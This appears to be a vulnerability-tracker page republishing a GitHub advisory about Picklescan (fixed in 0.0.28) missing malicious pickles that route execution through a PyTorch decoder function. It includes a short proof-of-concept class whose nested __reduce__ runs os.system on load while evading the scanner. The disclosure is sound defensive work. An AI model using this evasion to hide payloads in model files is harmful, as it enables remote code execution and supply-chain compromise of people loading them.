Picklescan missing detection when calling pytorch function torch.utils.data.datapipes.utils.decoder.basichandlers
Key facts
- Attack vector
- —
- Privileges required
- —
- User interaction
- —
- Attack complexity
- —
- Impact type
- —
- Confidentiality · integrity · availability
- —
- Fix status
- Fixed
No CVSS vector from any source. Fix status from GitHub.
Summary
### Summary Using torch.utils.data.datapipes.utils.decoder.basichandlers function, which is a pytorch library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to torch.utils.data.datapipes.utils.decoder.basichandlers function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` import torch.utils.data.datapipes.utils.decoder as decoder class EvilTorchUtilsDataDatapipesDecoder: def __reduce__(self): extension = 'pickle' class RCE: def __reduce__(self): return os.system, ('whoami',) data = pickle.dumps(RCE()) return decoder.basichandlers, (extension, data) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. ### Corresponding https://github.com/FredericDT https://github.com/Qhaoduoyu
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | picklescan (PyPI) | before 0.0.28 | 0.0.28 | Patch available | GHSA-h3qp-7fh3-f8h4 |
- picklescan (PyPI) Vendor— Affected before 0.0.28 Fixed in 0.0.28 Patch available GHSA-h3qp-7fh3-f8h4
Remediation
- Fix · GHSA-h3qp-7fh3-f8h4 picklescan (PyPI) Fixed in 0.0.28 Advisory →
Timeline
- 2026-10-03 Threatist record created from GHSA-h3qp-7fh3-f8h4
References
Other 5
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-h3qp-7fh3-f8h4
- https://github.com/mmaitre314/picklescan/pull/47
- https://github.com/mmaitre314/picklescan/commit/7f994d62084fe43f1cffdef2f9bae6923344ef53
- https://github.com/mmaitre314/picklescan
- https://github.com/mmaitre314/picklescan/releases/tag/v0.0.28
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences